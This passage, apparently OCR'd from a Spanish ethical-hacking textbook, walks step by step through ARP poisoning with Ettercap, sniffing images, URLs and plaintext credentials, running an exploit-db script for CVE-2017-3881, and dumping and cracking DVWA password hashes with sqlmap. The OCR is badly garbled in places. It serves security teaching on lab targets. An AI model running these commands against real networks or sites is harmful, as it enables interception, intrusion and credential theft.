rgts Hosts Vrew Mitm Fllters
'V_C frenttargets' vl
Select target(s)

S ii L‘( J'."'l ,

Protocol... Ctrl+P

~ Reverse matching !

5 i
Use Ifi

WIpE targets

{__'Il'l—'-‘l,{'fuf

Obtuvimos que la direccion del router es la
192.168.1.254, entonces agregaremos la victima,
que es la que tienen la IP con terminacion 83,
como “target 17, y la ip del router, con terminacion

254, en “target 2.

418
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Ahora, para iniciar el ataque, seleccionaremos del o
menu superior la opcion MITM, seguido de ARP

s ae GROUP 1:192.168.1.83 - :EE
Poisoning.

Mitm Filters Logging Pl GROUP 2: 192.168.1.254 28

ARP poisoning...
ICMP redirect... Ay I _ Start v “Start sniff
Isto, ya solo presiona Star art sniffing” y ya
Port stealing... y P y gyy
: estaras realizando envenenamiento ARP, esto
DHCP spoofing...
NDP poisoning... causara que todos los paquetes que manda y

recibe tu objetivo, pasen por tu interfaz,
Stop mitm attack(s)

. permitiendote espiarlo.
Y selecciona la opcion “sniff remote connections”, y

Start Targets Hosts View Mit
Startsniffing  Shift+ Ctrl+W
Stop sniffing  Shift+Ctri+E

luego presiona ok.

»
MITM Attack: ARP Poisoning @

Optional parameters
(& Sniff remote connections.
[} Only poison one-way.

Exit Cirl+0 |

Interpretando paquetes en WireShark

Cancel t OK I

Como te habras imaginado, mientras que los

En la terminal te confirmara los objetivos a quienes paquetes pasen por nuestra interfaz, WireShark

les harés el envenenamiento ARP. puede ser utilizado para analizar dichos paquetes,

asi que basta abrir WireShark como se mencioné
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en la seccién de WireShark, y notaras que ahora
estas recibiendo paquetes con destino y fuente del
sistema a quien estas haciendo el ataque.

Aqui podemos ver exactamente que paso con este
ataque en cuestion de paquetes, nota como
WireShark esta dando un aviso de que existe un
uso duplicado de una IP, esto es porque

esencialmente le estas mintiendo al router sobre tu

identidad en la red.

P Sy -l
AT DM Yo A e

; use of 192.168.1.

.ﬁt).

2d (dupllcat

2.168.1.83 is at

4219

Todo lo demas de WireShark funciona
esencialmente igual, solo que ahora tendras |
acceso a paquetes fuera de tu sistema, asi que, si
alguien entra a alguna pagina web, transmite ,
credenciales sin encriptar, o algo similar, podras

verlo en WireShark.
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detected!)|

: -168.1.254 deteo

who has 192.168.1.83? Tell 192.168.1.254 (duplicate use of 192.1 54 detaote
60 Who has -168.1. 63+ S Santl
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Interceptando Iméagenes

Ahora, aunque WireShark te muestra todo, no
siempre es préactico estar buscando los paquetes
de cosas especificas como imagenes, asi que hay
una herramienta llamada driftnet, que filtra las
imagenes y te las muestra directamente, existen
herramientas similares para filtrar otros tipos de
paquetes, lo cual podrian hacer tu trabajo mas facil.
Para ejecutar la herramienta, escribe en Ia terminal
de Kali driftnet -i <interfaz>, en este caso mi
interfaz es eth0, asi que el comando para mi seria
driftnet -i eth0.
Al ejecutar el comando, se abrird una ventana
donde se mostraran las imagenes interceptadas.
driftnet © ® 0 . ;

i

Aqui solo toca observar esa pantalla para ver las
imagenes que el objetivo esta cargando, esto
puede ser util para reconocimiento adicional o

potencialmente encontrar informacion confidencial.

423
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Interceptando URLs

También puedes filtrar los paquetes por HTTP,y, a
pesar de que esto es bastante sencillo hacerlo en
WireShark, existe una herramienta para hacerlo un
poco mas rapido, llamado urlsnarf, para utilizarla,
deberas ejecutar el comando urlsnarf -i <interfaz>
en tu terminal de Kali, en mi caso, ya que mi
interfaz es eth0, ejecutar el comando urlsnarf -i
eth0.

Una vez ejecutado el comando, en la terminal se te
mostraran los paquetes HTTP que muestran

direcciones accedidas y por qué método HTTP.

424
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Li~# Urlsnarf -1 ethe B e ————
f: Listening on ethO [tcp port 80 or port 8080 or port 3128]

1,83 -
8522¢76742f9/WFADevice, xml HTTP/1.1" - - U-»
- - [11/Aug/2018:03:

1.83

1.83
soft-

i
168.1.83 -

0.3440,106

168.1.83 - -
1, LA
.168,1,83 - -

Sl = =

- [11/Aug/2018:03:54:35 -0500] "GET http://192.168,1,254:1

990/1d0a5510-cOfc-4¢

" "Microsoft -Wind

- - [11/Aug/2018:03;

Windows/10.@ UPnP/1
- [11/Aug/2018;03

Safari/537.36"
[11/Aug/2018:03

o

154:43 -0500] “GET http://whitesuithacking.mxf HEFE/L -1 - -
lozilla/5.0 (Windows NT 10.0; Winb4; x64

154145 -0500] “GET http://192‘168.1.254:49152fgatedesc.xml H
‘Microsoft-Windows/16.0 UPnP/1.0"

[11/Aug/2018:03:54 :45 -0500] "GET http://192.168.1,254:1990/1dﬂa5510-
7-8522¢7674219/WFADevice . xml HTTP/1.1" - - t.n

[11/Aug/2018:03;

"Microsoft-Windows/10.0 UPnp/1,0"
4:35 -0500] "GET http://192,168.1,254:49152/gatedesc. xnl H
ws/10.0 UPnP/1.0"

154135 -0560] "GET http://192.168.1.79:8060/ HTTP/1.1" - - o

) AppleWebKit/537,36 (KHTML, Llike Gecko) Chrome/

cOfc-4¢
“Microsoft-Windows/10.6 Upnp/1.0"

54145 -0500] "GET http://192.168.1,79:8060/ HTTP/1.1" - -

 Wiicrosoft-Windows/10.0 UPRP/1,@"

. ._._10:80> USER: usiaurioh_xkeado' PASS:-cuntrasr;nahackeada 7fNFO: hﬁﬁ:(

rosoft-Windows/10.0 UPnP/1,0"

- - [11/Aug/2018:03;54:55 -0500] "“GET http://lQB.168.1.254:49152/gatede5c.xm1
"= "Microsoft-Windows/10.6 UPhP/1.0"

- [11/Aug/2018:03:54:55 -0500] "GET http://lgz.165.l.254:1990/ldaa55104c0fc-4-
7-8522¢76742f9/WFADevice, xml HTTR/1,1" - - .4 "Microsoft-Windows/10,0 UPpP/1.0"

8,1.83 - - [11/Aug/2018:03:54:55 -0500] "GET: nttp://192.168,1.79: 8066/ HITR/15 S

Interceptando credenciales no encriptadas

Ahora, si alguien transmite credenciales no
encriptadas en la red mientras tu estas
interceptando, podrias buscar el método en
WireShark para sacar las credenciales, sin
embargo, Ettercap ya tiene esa funcion integrada,
asi que, si tu victima entra a una pagina sin SSL, e

ingresa credenciales, aparecers en la consola de
Ettercap.

}{w é
]Lser;id=usauriohackeado&passwm'd:contrasenahackeﬂlogin=Login&actmn:lagin&new_loc: i
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Un exploit, a diferencia de un payload, es una falla

por la cual se puede comprometer la seguridad de

Exploits

la informacion, podriamos decir que una
vulnerabilidad es lo que permite que exista un
exploit, por eso la gran mayoria de los exploits
estan basados en un CVE, y podras encontrar
exploits de CVEs muy seguido, aunque no todas
las vulnerabilidades tienen exploits disponibles.
Ahora, hay varias formas de utilizar exploits, ya que

hay una enorme cantidad de estos, desde ataques

para sistemas Linux o Windows, hasta para routers
o televisiones, y cada uno tiene una forma'y
requisitos para utilizarse diferente, asi que nos
enfocaremos principalmente en como poder
entender un exploit para poder utilizar cualquiera
que gueramos, aungue nNo conozcamos esa

tecnologia en particular.

También existen lo que llamamos zero-day, estos

son exploits que no han sico publicados, por lo

426
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tanto, los fabricantes no han disefiado
conframedidas contra estos, y son algunos de los
ataques mas peligrosos que existen, pero también
de los mas dificiles de conseguir, un zero day hoy
en dia para un sistema conocido podria venderse
en miles o cientos de miles de délares

dependiendo de qué tan poderoso sea.

Base de datos de Exploits

Exploitdb, como su nombre Io dice, es una pagina
web con una base de datos de exploits para
diferentes tipos de sistemas, como esta hay varias
fuentes, pero es una de las mas grandes, para
acceder a esta base de datos basta con ingresar a
https://www.exploit-db.com/ .

EXPLOIT »
DATABASE

Para encontrar un exploit aqui, basta con buscar en

la barra del buscador el nombre del exploit, o el

427
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CVE que esta explotando, por ejemplo, vamos a
imaginar que en una auditoria el escaner te mostro
que el switch que utilizan es vulnerable al CVE-

2017-3881, entonces buscarias en la seccion de |
I

busqueda el CVE.

Search the Exploit Database

Search the Database for Exploits. Papers, and Shelicode. Your can even search by CVE and OSVDB identif
i

CVE-2017-3881

/" Imnota robot Q '
1eCAPTOHE

Te mostrara los exploits que existan para ese CVE,
y tendras que hacer clic en uno, es comun que ‘

exista mas de uno para un solo CVE.

D A V Title Fiatform Aot
i Hardwars At
Hardyeare At

Al hacer clic nos mostrara el nombre del exploit, y
alguna informacion, y en la parte inferior, el codigo, |

en este caso, podemos ver que en plataforma dice
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Hardware, significa que no se ejecuta en ninguna
herramienta en especifico como Metasploit.

Cisco Catalyst 2960 10s 12.2(55)SE1 - 'ROCEM' Remote Code

Execution

EDB-4D 20100 Author. astem wogizatent Published: 2

IShed: 2037.¢4 12
TVE: 3173881 ype Fanot

Type s Platfeem: Hidoas
Allases s Advisory/Source: 1in Tags, &
.

E-OB Verified {4 Exploit: § Bownli) £ view B Wulneratfs

alile App: ha

#iAusrfbin/python

¥ Aut

Kondratenko (@artkond)
import socket

import sys

trom time import slegp
set_credless = True

1"}: Iﬁlf*‘is}rg,arﬁg“‘;} £ 3

12 ] print sys. argvfc - ) .
g 1~r5Y5.exit(j avl I+ [hD:t} --5et/--unset"

B i
‘e

Debido a que no se ejecuta el codigo en Metasploit
descargamos el cddigo en el botén “download”, a |
este punto notamos que es un script escrito en
Python, lo que significa que podremos ejecutarlo en
este lenguaje. Hay muchos tipos de exploits,

algunos podran ser escritos en Python, JS, Java
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Ruby, etc, debes poder ejecutar y utilizar cualquier
exploit que tengas que utilizar, es sencillo,

simplemente busca la terminacion, y como

ejecutarlo.
42122.py Properties
Basic Permissions = ~ Open Wi_thg_
i Name: ldll‘?.?.pyiiih SRS S j
5 Type: Python script (text/x-python) ‘
Size: 2.8 kB (2,841 bytes)

Parent Folder: /root/Desktop

Mon 13 Aug 2018 03:00:30 AM CDT
Mon 13 Aug 2018 02:59:47 AM CDT

Accessed:
Madified:

Para ejecutar el script, simplemente escribe el
comando para abrir scripts en Python, y el nombre
del archivo, que seria python 42122.py -h, el “-h

es para ver las opciones, una buena parte de los

”

exploits tienen integrado comandos de ayuda como

430
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112122 . py

k

| 12122 py [host]
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““h” 0 “-help”, asi que usalos al no saber como

utilizar un script (de lo contrario, lee el codigo).

:~/Desktop# 1s

:~/Desktop# python 42122 .py -h

--set/--unset

Y listo, a este punto podriamos utilizar este exploit,
que nos permitira resetear los dispositivos
vulnerables, por ejemplo, si mi objetivo estuviera en
la IP 192.168.1.1, el comando seria python
42122.py 192.168.1.1 —set

~/Desktop# python 42122.py 192,168.1.1 --set

El punto aqui es que sepas que puedes utilizar
cualquier exploit sacado de alguna base de datos
como exploit-db, y no depender de herramientas

como Metasploit para realizar ataques a sistemas.
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Inyecciéon SQL

La inyeccién SQL es una de las vulnerabilidades
mencionadas en el OWASP top 10 desde hace
mas de 10 afios, y es porque sigue afectando a

miles de paginas web y bases de datos.

Esta vulnerabilidad se utiliza para atacar la
seguridad de sistemas con informacién, como las
bases de datos, en estas bases de datos, se
inyectan comandos SQL en campos de entrada de
datos de forma que se ejecuta c6digo sin

autorizacion en el servidor.

La inyeccion SQL afecta a tantos sistemas debido
a que puede estar presente en casi cualquier

lenguaje de programacion, sin embargo, depende

de una vulnerabilidad en el software, que puede ser

que la entrada no esta correctamente filtrada, o

cualquier falla en la que se permita ejecutar

comandos de una entrada en vez de considerarlos

un ‘string’ sin permisos de ejecucion.

432

Por medio de esta vulnerabilidad se puede
comprometer la integracion de la informacion, ya
que es posible acceder a informacién confidencial
y la disponibilidad e integridad, ya que es posible |
eliminar o cambiar la informacion, siendo una de

las vulnerabilidades criticas mas comunes de hoy
en dia.

Laboratorio de practica y cémo funciona
SQLi

Para realizar inyeccion SQL existen varias
herramientas, pero pocas son tan buenas como
SQLMap, para practicar esto, inyectaremos una
pagina para practicas que pueden encontrar en el
sistema de OWASP-BWAP, para esto, inicien la
maquina de OWASP-BWAP en su VMware o
VirtualBox.

[T} OWASP Broken Web Apps VM v1.2
Luego de esto, les aparecera en la terminal la

direccion donde puedes acceder a las paginas de

433
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la plataforma (en mi caso esta en 192.168.1.66), y

el usuario que es root, y la contrasefia que es

owaspbwap

A0

You can a the web apps at hittpis 2192 168.1.66/

In all tl

Ahora si, vamos a entrar a la plataforma

ingresando esa IP en el navegador.

owasphwa
AP Broksa el Applscatias Friots

aticn oot Fompes FWALE Brolas Vit Appleations &
2 P

™

(RSP WebsSon HET

GRS Mamda

s oy
by

Eated
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Aqui el apartado que nos interesa es el que se
llama “Damn Vulnerable Web Application”,
aunque existen otras paginas en esta plataforma
donde podran practicar esto.

Bien, haz clic en el botén mencionado, y te llevara
a una pagina como la siguiente.

Aqui el usuario y la contrasefia son admin.

Username

Password
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Al entrar, veran este panel, aqui podran elegir
varias formas de practicar vulnerabilidades en
paginas y aplicaciones web.
N

D\(A)

Welcome to Damn Vulherable Web App!

Damn Vulnerable Web App (DVWA]) Is a PHP/MySQL web application that Is damn vulnerable. s main gua

developers bettel understand the processes of securing web appli and aid teac| 1o 8
teachileamn web application security in a class room environment.

WARNING!

Damn Vulnetable Web App Is damn vulierable! Do not upload It te your hosting provider's public himi fol,
any Intemet facing web server as it will be compromised. We recommend downloading and Instaliing =
onte a local maching inside your LAN which Is used solely for testing

e

Insecure CAPTCHA i Disclal

e = . isclaimer

Ellainetasion.

soL ihjiﬂl‘im' Z % We do nol take responsibility for the way In which any one uses this application. We have made the p

- - the apf i clear and it should not be used malicicusly. We have given warmings and laken measures

SQL Injection (Blind) § prevent users from installing BYWA an to live web servers. If your web server 3 compromised via an Ing|
of DVWA it is nol our respensibility it Is the respansibility of the person/s who uploaded and installed i

e General Instructions

page.

You have logged in-as ‘admin’

Username: admin
Security Level: low
PHPIDS: disabled

Una vez aqui, seleccionen la opcion de “SQL

Injection”, ya que es lo que practicaremos en esta

seccion.
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are to be an ald for securnity professionals lo test thelr skills and toals in a legal environment. helpwey

The help button allows you Le view hitsfiips for each vulnerability and for each securlty level an thelr respectiy
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Vulnerability: SQL Injection

N =
| Submit

Ahora empezaremos con el ataque, lo primero que
necesitamos saber siempre que realicemos un
ataque de este tipo, es si necesitamos una sesion,
por ejemplo, en este caso, no podriamos entrar a

. este panel sin habernos autenticado con el usuario

y contrasefia “admin”, eso nos da una sesion, y
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esta se graba en lo que llamamos “cookie”, lo
primero que haremos es obtener la “cookie”.

Nota: Esto solo es necesario si se reguiere una

sesidén, en paginas que no tienes que estar

autenticado para acceder, esto es innecesario,

no estorba, pero no es necesario.

BurpSuite

BurpSuite es una herramienta que nos sirve para
explotacion web, no es realmente necesario utilizar
esta herramienta a fuerzas para interceptar las ;
cookies (hay otras herramientas mas sencillas que
pueden hacerlo), sin embargo, BurpSuite es una
herramienta muy importante para el area de
pentesting y explotacion web, asi que he decidido
utilizar esta herramienta para interceptar las

cookies.
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Primero, tenemos que entender que es BurpSuite,
esta herramienta funciona como un proxy entre tu
navegador y la pagina a la que quieres entrar,
interceptando todos los paquetes enviados, esto te
permitira tanto ver como funciona una pagina web y
que esta mandando, como controlar qué paquetes
y métodos pasan al servidor de Ia pagina web y
cuales no.

Para abrir esta herramienta, puedes hacerlo
escribiendo “burpsuite” en Ia terminal, o haciendo

clic en el icono de este a la izquierda en Kali.

Fil

e FEdit View Search Terminal Help
:/# burpsuite

Vamos a seleccionar un proyecto temporal por el

momento, aunque en una prueba de penetracion
probablemente preferirés guardar tu sesién como
un proyecto.
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Burp Suite Community Edition v1.7.36

li} Welcome to Burp Suite Community Edition, Use the options below to create or opan a project

Ay STOPOSE

(#} Temporary project

Hew project on disk Fije

Open sxisting project

P S — -
= a

Una vez iniciado, veras este panel, (como podras
notar) tiene muchas funciones esta herramienta,
desde spiders, hasta ataques de fuerza bruta y
decodificadores, pero primero lo primero, vamos a
configurarlo para funcionar con nuestro navegador,

asi que seleccionaremos proxy.

eo0o

User options
S
|

Burp Suite Community Edition v1.7.36 - Temparary Project

Burp Intruder Repeater Window Help

-

| Cecader | comparer | Extender | Project options
-
Spider | Scanner

Repeater |
Target I

: Site map | Scope N

|ﬂiter: Hiding not found ltems; hiding C5

- Wi
| i | Host

Intruder

=
Proxy {

@

I
=

[ Params  Stals j

image and general binary content. hiding dxx responses: hiding empty folders

| Methad | URL
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Luego options, y verificaremos la configuracion del
proxy, en este caso esta corriendo en nuestro
localhost en el puerto 8080.

Burp Suite Community Edition v1.7.36 - Temporary Project e 6
quh“"FL Repeater Window Help

puw_ T
 Target

| extender |
3

Spider

l D;:uder ’

Sequencer Comparer
Proxy

Project options 7
Scanner

User options 77““2!‘!5 :
[ Intruder

‘ng—u;g SUIT

L)

i & | HTTP history | WebSockets history | Options |

liste: ive i ing HTT! i
g Burp Proxy uses listeners to receive incoming P requests from your broveser. You will need to configure your browser o use one of the |
| ==
| r
J >

proxy Listeners

i Interface
127.0.0.1:8080

Running

[=1]

| Invisible : Redirect | Certificate

Per-host

i

Each Installation of Burp generates its own CA certificate that Proxy listeners can use when negotiating 55L connections. You can impert or ex

tools or another installation of Burp

[ import / expart CA certificate | | Regenerate CA certificate |

§ Intescept Clicnt Requests

Use these settings to control which requests are stalled for viewing and editing in the Intercept tab.

T ——

ist

o

<

Ahora configuraremos nuestro navegador parg qu_e )
mande todos los paquetes a ese puerto, para esto,
abre el navegador (Firefox es el que esta por

defecto), las opciones a la derecha, y haz clic en el
boton preferences.
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Signinto Sync

e
- B New Window
ea New Private Window Ctri+Shift+p
€] Restore Previous Session

I Library :

& Add-ons -

‘I-::x- Preferences
s~ Customize...

Ctri+Shift+A

Ahora selecciona en general, y la opcion proxies,
esta opcion debe de estar en todos los

navegadores, asi que si usas otro navegador igual

debes de poder hacer esto.
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';. Search

-
L Firefox Support

Firefox Updates

Keep Firefox up to date for the best performance, stability, and security,
Version 60.2.0esr (32-bit) What's new

Kali Linux distribution fie
Kali - 1,0

¥ Automatically update search engines

; g Privacy & Security

{' Firefox Account

Performance

i v Use recommended performance settings Learn rnore
| These setlings are tailored ta Your compater’s hardware and aperating system,
Browsing

Use autoscrolling
¥ Use smooth scrolling
Always use the cursor keys to navigate within pages

Search for text when you start typing

Network Proxy Q

Configure how Firefox cennects to the internet. Leqry o e

Y ahora simplemente selecciona la opcién manual
proxy configuration, recuerds que debe estar

configurado en el mismo puerto que BurpSuite y en
el localhost.
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Connection Settings

Canfigure Proxy Access tothe Internet
No proxy
Auto-detect proxy setiings for this network

Use system proxy settings
y prozy i

® Manual proxy configuration
o SR __}_ L SR L AT = . I — A—

HTTP Proxy  127.0.01 fort 80RO

¥ Use this proxy server for all protocols

S, Proxy 127.0.0.1 Port 80RO
ETP Proxy 127.0.01 Part  BOSO
SGCKS H Port 80RO
® SOCK
Mo Proxy for
locathest, 127.0.01
Exampie: .mozilla,org, netnz, 192,168 1.0/24
Automatic praxy configuration URL
Reload
Do net prompt for authentication if passwerd is saved
Cancel oK

Help
Ahora en BurpSuite vamos a irnos a la seccion

intercept.

jptrudet Repeater Window Help

.-.E:“ cater ] Saquencer I Decoder ; Comparar l E);en;er _] F;:d;pﬁa:s =T ;er:pl'7 e
. = 5 ions Alerts
Y = l Spider } Scanner Intruder
N

[

Burp Suite Community Edition v1.7.36 - Te
7. mporary Project e e 0

[ Websockets history | options ]

© Intercent is on 3

Y listo, ya esta todo configurado, ahora cualquier
cosa que mandes por tu navegador tendra que
pasar por BurpSuite, aqui hay dos botones
importantes, el primero es forward, que permitira
que los paquetes contintien su ruta normal, drop,
que tirara las conexiones, y el c6digo en la consola
te dara la capacidad de editarlo si lo deseas.

Ahora regresemos a la pagina de DVWA, y
metamos algo en el espacio, puedes poner lo que

sea, en mi caso escribi un simple “1”,
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Vulnerability: SQL Injection

User ID:

i 1 7 !i Submit

Notaras que se queda cargando la pagina, esto es
porque los paquetes estan “detenidos” por
BurpSuite, asi que vamos a la consola de
BurpSuite.

Como podras notar, ahora nos aparece informacion
en la consola, esto es referente a lo que se esta
enviando a la pagina, desde aqui ya podemos ver
la cookie, que es lo primero que buscabamos,
seleccionada en rojo, vamos a copiarla y guardarla

en una nota.
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tercant } HTTI’-; I::Ist;sry ] Webéaéke!s I;isluryi 1 Options l

L?-J Request to http://192 168.1 66:80

. Forward k. Drop j Tnterteptunn_li ~ Action _j

Raw | Params Ii-leaders ]Hex |

r-m'l' dewa/vulnerabilitien/sgl /7 idelesubmitasubnl t #ree/ 1. |

bont: 192,168, 1,66

pper-Agent: Moziila 6.0 (331: Linux I586; 1vi160.0) Gecka/ 20100101 Fivefox/ 6.0
poeept: Fext/htmi,applicationzhieml+xml, applization sal;qsn. o, o frg=0. 8
Rocept-Language: en-Us5,en;q=i,5

hocept-BEncading: geip, deflatas

aferer: hetp:/ /193,168, 1. 66 dvwa’/vylnerabiliti

cookie: ascurity=low; acopendlvidazawingpst, jotte,phpbbd, redmine; acgroupswithperslot=nada;
PHPGEGEIN=nkI0bey v Tgqeprgaeaty jki6ad '

upgracde- Insecure- Regquento: |

Ahora lo que necesitas es la URL, esto lo puedes
sacar de la barra de direccion siguiente, o haciendo
clic derecho en la consola de BurpSuite, y

seleccionando “copy URL”.

Send to Spider
Do an active scan

Send to Intruder Ctri+l
Send to Repeater Ctri+R
Send to Sequencer

Send to Comparer

Send to Decoder

Request in browser 3

£ 7Engageme-nmnls [Pro version émly] =7 1§

Change request method
Change body encoding

Copy as curl command
Copy to file
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Luego de esto deberas tener en tu nota algo similar

a esto:
Cookie: security=Llow; PHPSESSID:HKEODSr3r7qcprgaeat9jk3654

:http://igz.168.1.66/dea/vu1nerahilities/sqli/?id=1&5ubmit=§uba&

Inyeccién SQL (SQLi) - Practica

A este punto, ya tenemos todo lo que buscabamos
de BurpSuite, asi que ya podemos cerrarlo, y abrir
una terminal, en esta, vamos a utilizar una
herramienta llamada SQLMap, esta herramienta
puede ser utilizada con mandarla llamar desde la
terminal y darle ciertos parametros.

La estructura es la siguiente, primero tenemos que
llamar por nombre a sglmap, luego, tenemos que
darle la bandera -u para darle una URL a donde
atacar, luego darle la URL en comillas, y en este
caso, es requerida la cookie, asi que se la daremos
con la bandera --cookie, seguido de la cookie entre
comillas (recuerda que esto solo es necesario en
paginas con autenticacion), y posteriormente le
pediremos algo, en este caso, le pediremos las

bases de datos, con la bandera --dbs
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qokie 'security=low; PHPSESSID=nk20bsr3r7qcpraacagdik3ess” - -dbs|

yssibl

{[055=5

/1 [INFO] heuristic (basic) test shows that GET parameter 'id’ might be injectable

7] ] testing for SQL injection on GET parameter 'id!

V WHITE sl

L/# sqlmap -u “http://192.168.1.66/dvwa/Vilnerabilities/sqli/?1d=1&5ubmit=Submnit"

Luego de presionar enter, la herramienta buscara
por potenciales métodos vulnerables a inyeccion,
hay que esperar un par de minutos a que la

herramienta termine su trabajo.

testing connection to the target URL

checking 1T the tanget 1s protected by some kind of WAF/IPS/IDS
0] testing if the target URL content is stable
/] target URL content is stahle

| testing if GET parameter ‘id' is dynamic
ING] GET paremeter *id' does not appear to be dynamic

U] heuristics detected web page charset 'ascii
e DBMS: 'MySQL')

I [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable t
ite scripting (XSS) attacks

Para cuando termine la herramienta (recuerda
presionar Y en lo que sea indicado y N si es
innecesario), deberia mostrar una pantalla similar a
esta, mostrando las bases de datos disponibles

debido a que se confirmé la vulnerabilidad.
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[02: 5752
Wweb server operating system: Linux
web application technology: PHP 5.

end

abl
dvwa

1 [INFO] the back-end DBMS is MySQL
Ubuntu 10,04 (Lucid Lynx)

3.2, Apache 2.2.14
DBMS: MysQlL >= 5.0
] [INFO] fetching database names
] [IMFO] used SQL guery returns 2 entries
)] retrieved: information schema
)] retrieved: dvwa

e databases [2]:

information schema

] fetched data logged to text fites under

[*] shutting down at ©2:57:53

A este punto sabemos €s vulnerable el sistema,
que existen dos bases de datos, llamadas “dvwa”

y “information_schema”.
Luego de esto, vamos a robar informacion de estas

bases de datos, tomando de ejemplo a la que sé

[lama dvwa, pero primero un poco de fundamento

de bases de datos.

Las bases de datos se conforman de jerarquias, Yy
van asi:

- Base de Datos

- Tablas

- Columnas

- Datos
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Y en SQLMap se puede pedir informacion dentro
de una de esta jerarquia, o quienes estan dentro de
esta. En esta tabla estan los parametros

Jerarquia Pedir- quien estd en | Pedir datos dentro
esta jerarquia de esta jerarquia
Bases de | --dbs D
datos -
Tablas --tables -T
Columnas | --columns -C
Datos
--dump

= - :
nota: -- son dos quiones,

Esto es importante porque tenemos que seguir esta
estructura para pedirle a SQLMap que nos dé

informacion, por ejemplo, ahora le diremos que nos

de todas las tablas que estan dentro de la base de

datos dvwa, para esto, diremos que queremos

sacar de la base de datos dvwa con |la bandera -D

las tablas, con la bandera --tables.

o/# sqlmap -u "http://192,168.1,66/dvwa/vi

Ilnerabilities/sqli/

wokie "security=low; PHPSESSID=nk20bsr3rlqcpraaeat9ik36sa” -D dvwa --tables
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Ahora podemos ver las tablas como resultados.

Database:
(25 tabtes|

Ahora pediremos las columnas con la bandera --
columns dentro de la tabla con |la bandera -T de

users.

/# sqlmap -u “http:/!192.168.1.66/dea/vulnerabilities/sqli/?i§=1&5ubm1t:faL
--Ccookie ﬁsecurity=10w; PHPSESSID=nk20bsr3r7acproaeatd)k36s4" -D dvwa -T users --coly

Y obtenemos un resultado.

Database: dvwa
Table: users
[6 columns]

varchar(15)
avatar varchar(70)
first name varchar(15)
last name varchar(15)
password varchar(32)
user id
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Y finalmente, queremos los datos, sacados con Ia
bandera --dump, de las columnas (pueden ser

varias), user y password, con la bandera -C.

1/# sqlmap -u "http://lgz.168.1.66/dea/vulnerabiljties/sqli/?id:l&SubmitzSuhmit"
okie "security=low; PHPSESSID:nk2Bbsr3r7qcprgaeat9jk3654“ -0idvwa -T users -C user,
word --dump

En este caso las contrasefias estan “hasheadas”, o
encriptadas, por eso aparecen contrasefias tan
complejas, asi que dejaremos que SQLMap las
desencripte usando un diccionario, asi que al
preguntar si queremos crackear las contrasefias
via un ataque de diccionario, seleccionaremos Y
seguido de 1 para seleccionar el diccionario por
defecto de SQLMap.
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c}vtecfpd nc—h page charset tascii’ Database : dea

¢ 1337 Irable: users
: 8d3533d75ae2c3966d7e0d4fcct9216b : i
: admin (6 ent ries]
. 21232f297a57a5a743894a0e4a801fc3 |

nb =

8c428cb38d572 3678922e03

d09f5bbedtcade3de5c/lededb7

d snu. thy

11 ieved: 5f4dccib5aa765d61d8327debas2cfon 3 / 8d3533d75ae2c3966d7e0d4fcc69216b (charley)
g ) ossible p: e e L adiin 21232f297a57a5a743894a0e4a801fc3 (admin)
bkl e m;;fg;g;;; Ry e RS e mh_ll gordonb | €99al8c428cb38d5f260853678922e03 (abcl23)
tools [y/N] I ¥ 0d167d08T5bbe4bcade3de5c71e9e9h7 (letmein)
! ' 5f4dcc3b5aa765d61d8327deb882ct99 (password)

eellchbl19052e40b07aac0calblc23ece

want to crack them via a dictionary-based attack? [Y/n/ql y
[INFO] using hash method ‘md5 generic passwd'
what dlctzonary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/txt/wordlist.zip' (press Enter

[2] custom dictionary file . : Ly
[3] file with list of dictionary files Aqui algo importante es que hayas puesto atencion

! | a la estructura de SQLMap, pero esta metodologia
Ahora esperaremos un par de minutos, en lo que la

puede ser utilizada con virtualmente cualquier

herramienta crackear las contraseias, podemos . .
P sistema que tenga la vulnerabilidad de SQLi, sin

ver en la terminal como va avanzando. ; ;
embargo, usala con cuidado, ya que esta es una

cracked password ‘abclZ3

cracked password ' or ha 33 a5a743894a0e4a801 f ; vulnerabilidad critica aun relativamente comun y

cracked password 'charley' for hash

cracked password 'letmein' for hash '0d107d09f5bbeddcade3de5c71edeny explotarla contra sistemas sin autorizacion puede

)] current status: lukie...

meterte en problemas reales.

Y finalmente, nos entregara un resultado similar a Adicionalmente, te recuerdo que antes de hacer
los anteriores, con los usuarios y contrasenas ya este ataque debes de haber identificado la
en texto plano. vulnerabilidad en el paso dos de la metodologia

(analisis de vulnerabilidades).
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Cross-Site Scripting, mejor conocido como XSS, es

Cross Site Scripting (XSS)

otra de las vulnerabilidades mas comunes en
aplicaciones web, al igual que la inyeccion SQL,
permite ejecutar comandos, pero estos son del lado
del cliente, en vez del lado de servidor o base de
datos, esto significa que un atacante puede utilizar
esta vulnerabilidad para atacar a todos los que
visiten o utilicen un sitio web, desde inyectar cédigo
malicioso, hasta robar informacién de los clientes,
ademas, es posible realizar ataques de defacing

con esto, que afectaria seriamente a la

organizacion comprometida en términos de
reputacion u otras maneras que afectan directa o
indirectamente en el bolsillo o credibilidad de la
organizacion.

Esta vulnerabilidad aun es una de las mas
comunes y mas graves, ha afectado hasta a
organizaciones tan grandes como Twitter,

Facebook, YouTube, entre otras.
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Tipos de XSS

Esta vulnerabilidad no existe en un solo “sabor”,
hay varios tipos de ataques y vulnerabilidades XSS
que pueden afectar en diferente forma a la
seguridad de una pagina web.

Hay mas formas de XSS de las que hablaré, pero

estas dos son las mas comunes.

Reflejada (no persistente)

La version no-persistente, o mejor conocida como
reflejada de XSS es la forma mas sencilla de esta
vulnerabilidad. Velo asi, imaginate 10 personas,
incluyéndote, estan viendo un monitor cada uno
que muestra exactamente lo mismo para todos, y
tu le avientas una pelota que hace que parpadee
por unos minutos, y a las otras 9 personas les
aparece eso exactamente igual que en tu monitor,
pero si no sigues apuntando pelotas, el monitor se

normaliza tanto para ti como para los demas.
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Asi es como funciona esta vulnerabilidad, realizas
el ataque y a todos les aparece, por ejemplo,
podrias mandar a todos los que estén viendo una
pagina en el momento que se ejecute codigo
malicioso, o que los dirija a otro sitio, pero solo

afectara en ese momento.

Persistente (almacenada)

Esta forma de XSS es mucho mas devastadora,
esto ocurre cuando el ataque hecho por el atacante
se graba en el servidor, y se muestra
permanentemente en las pagina o aplicacion web.
Esto puede dejar codigo malicioso corriendo
indefinidamente en paginas web, afectando a todos
los que visiten la pagina o mostrando informacién

incorrecta, o hasta un defacing.

Practica: XSS
Para practicar XSS, a pesar de que en DVWA hay

una seccion donde pueden practicar esto, me

agrada mas la interfaz y lo practico (dado que no
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necesitas ningun software o sistema adicional que

un navegador) que es el juego de XSS de Google

